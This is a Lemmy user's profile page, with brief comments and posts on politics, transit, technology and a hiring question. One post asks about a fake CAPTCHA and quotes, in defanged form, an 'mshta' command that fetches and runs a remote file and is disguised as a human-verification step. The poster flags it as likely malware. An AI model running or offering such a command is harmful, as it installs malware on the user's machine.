HobbitFoot

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What part of internet culture is so meta you will be completely baffled by it in 30 years if not sooner? in c/asklemmy@lemmy.world
[–] HobbitFoot@thelemmy.club 4 points 17 hours ago (1 children)

Is this loss?

Man Afraid to Ride Subway Named Head of NASA in c/nottheonion@lemmy.world
[–] HobbitFoot@thelemmy.club 7 points 17 hours ago

Did it scare him away from being Transportation Secretary?

The Future of Forums is Lies, I Guess in c/technology@beehaw.org
[–] HobbitFoot@thelemmy.club 2 points 1 day ago (1 children)

Except that spammers can curate that set of posts and comments similar to legit users.

Semiconductor industry could short out as copper runs dry in c/technology@beehaw.org
[–] HobbitFoot@thelemmy.club 3 points 1 day ago

Recycling copper is already cheaper than mining a lot of cases.

What old technology are you surprised is still in use today? in c/asklemmy@lemmy.ml
[–] HobbitFoot@thelemmy.club 1 points 1 day ago

Manhattan has an entire network of steam transmission.

Car crashes have killed and seriously injured roughly the same number of people as shootings in Chicago this year. Only one of these things draws media attention. in c/mildlyinfuriating@lemmy.world
[–] HobbitFoot@thelemmy.club 1 points 1 day ago (1 children)

There is also a lot more driving in the USA, even in a decent transit area like Chicago.

When does Trump finally start taking accountability? in c/nostupidquestions@lemmy.world
[–] HobbitFoot@thelemmy.club 1 points 1 day ago (1 children)

Yeah, but it is a question of whether his base will believe him or not.

Sometimes you just get it wong in c/leopardsatemyface@lemmy.world
[–] HobbitFoot@thelemmy.club 2 points 1 day ago

People did vote for centrism in droves a generation ago. It just happens that the system currently is no longer benefiting the voting public, so they voting public will vote for change.

Sometimes you just get it wong in c/leopardsatemyface@lemmy.world
[–] HobbitFoot@thelemmy.club 3 points 1 day ago

It's why right media has to demonize socialism; they don't want people to vote for it.

Is possible to learn to swim, just by reading a lot about it? in c/nostupidquestions@lemmy.world
[–] HobbitFoot@thelemmy.club 11 points 2 days ago

The same way people can learn to dance while reading a book.

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What is the Staten Island of Paris? (thelemmy.club)
Americans kinda don't like pickpocketing rule in c/onehundredninetysix@lemmy.blahaj.zone
[–] HobbitFoot@thelemmy.club 1 points 2 days ago

Eh. The person who makes the porch pirate videos hasn't gotten in trouble yet.

Top House Democrats demand release of Epstein files that mention Trump in c/politics@lemmy.world
[–] HobbitFoot@thelemmy.club 5 points 2 days ago (2 children)

I'm sure Democrats would be fine with sacrificing Clinton for Trump.

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What is a story in a song that would make a good movie? (thelemmy.club)
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When I tell people I don't know the answer but where they can find it and they don't go and read where I told them to read. (thelemmy.club)
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There are three lights! (thelemmy.club)
 
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What should I do if someone applied to a job at a company I work at without being able to legally work in my country? (thelemmy.club)
submitted 2 months ago* (last edited 2 months ago) by HobbitFoot@thelemmy.club to c/nostupidquestions@lemmy.world
44 comments fedilink
 

I had someone apply for a job through a recruiter at my company and passed the interview with flying colors. However, it has come across after the interview that they may not have the legal ability to work. The company I work for is audited regularly, so I can't have hiring them swept under the rug.

How do I deal with this without jepordizing the applicant?

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What kind of CAPTCHA is this? (thelemmy.club)
submitted 3 months ago* (last edited 3 months ago) by HobbitFoot@thelemmy.club to c/nostupidquestions@lemmy.world
64 comments fedilink
 

The text it wants me to run is the following:

mshta https://check/[dot]dasoc[dot]icu/gkcxv[dot]google?i=888x8x8x-x8xx-8888-xxx8-a00888888a1ab # Humаn, nоt а rоbоt: CAPTCHА Vеrіfісаtіоn ID: 552163''

Looks like the site got hacked and wants be run malware, but I've never seen something like this before.

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Art (thelemmy.club)
 
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What parody surpassed what it was trying to parody? (thelemmy.club)
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Marketing likes to change the name of shared file folders when they get new information. (thelemmy.club)
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Is there an implemented system of automated trucks anywhere that is fully operational? (thelemmy.club)
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End of platform (thelemmy.club)
 
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A Trump Executive Order has paused federal payouts on the Infrastructure Investment and Jobs and Inflation Reduction Act of 2022, including allocated funds. (www.politico.com)
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